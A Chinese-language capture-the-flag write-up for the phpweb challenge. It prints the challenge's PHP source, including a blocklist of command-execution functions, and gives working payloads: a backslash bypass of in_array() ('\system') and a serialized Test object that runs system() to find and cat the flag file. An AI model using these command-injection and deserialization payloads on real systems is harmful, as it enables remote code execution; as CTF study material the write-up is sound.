目錄

解題過程：

找payload:

1. 對in_array()函數進行繞過

2. php反序列化

參考文章：

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考點：關于call_user_func()函數的用法，php反序列化（本題不用也能做），in_array()函數的繞過，命令執行。

解題過程：

打開題目，圖片嚇我一跳。。。

注意到頁面一直在跳轉，抓包看看

這個當時是沒有頭緒的，太菜的我只好去看大佬的wp，發現后端是call_user_func()函數在運作，而傳入的參數就是該函數的參數值。

查看index.php，修改post傳值的內容

func=file_get_contents&p=index.php

index.php如下

<?php$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");function gettime($func, $p) {$result = call_user_func($func, $p);$a= gettype($result);if ($a == "string") {return $result;} else {return "";}}class Test {var $p = "Y-m-d h:i:s a";var $func = "date";function __destruct() {if ($this->func != "") {echo gettime($this->func, $this->p);}}}$func = $_REQUEST["func"];$p = $_REQUEST["p"];if ($func != null) {$func = strtolower($func);if (!in_array($func,$disable_fun)) {echo gettime($func, $p);}else {die("Hacker...");}}?>

進行代碼審計，大概分析一下該段代碼：

首先傳入$func和$p，$disable_fun中是一些命令執行關鍵詞，對$func用in_array()進行過濾，然后執行gettime()函數，而gettime()函數中存在call_user_func()函數，會對我們傳入的參數進行命令執行，這就是突破點！！！

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找payload:

1. 對in_array()函數進行繞過

我們發現，從$func參數傳入至執行，只有in_array()進行了過濾，但是我們可以用一個簡單的 “\” 進行繞過。本地實驗：

<?php $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");$func = '\system';if(!in_array($func,$disable_fun)){call_user_func($func, 'echo 121');} //輸出：121

?所以in_array()就相當于不存在，進行命令執行（這樣的話Test類就沒有用上）

func=\system&p=cat $(find / -name flag*) 或者 func=\exec&p=cat $(find / -name flag*)

結果如下：

?

2. php反序列化

func=unserialize&p=O:4:"Test":2:{s:1:"p";s:18:"find / -name flag*";s:4:"func";s:6:"system";}

?

然后進行cat 命令抓取flag

func=unserialize&p=O:4:"Test":2:{s:1:"p";s:22:"cat /tmp/flagoefiu4r93";s:4:"func";s:6:"system";}

?

或者readfile讀取flag文件

func=readfile&p=/tmp/flagoefiu4r93

當然，我們也可以搞一個類似exp的payload，也可以得到flag。

func=unserialize&p=O:4:"Test":2:{s:1:"p";s:25:"cat $(find / -name flag*)";s:4:"func";s:6:"system";}

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參考文章：

1. [網鼎杯 2020 朱雀組]phpweb

2. PHP函數詳解：call_user_func()使用方法

3. 【網鼎杯 2020 朱雀組】phpweb

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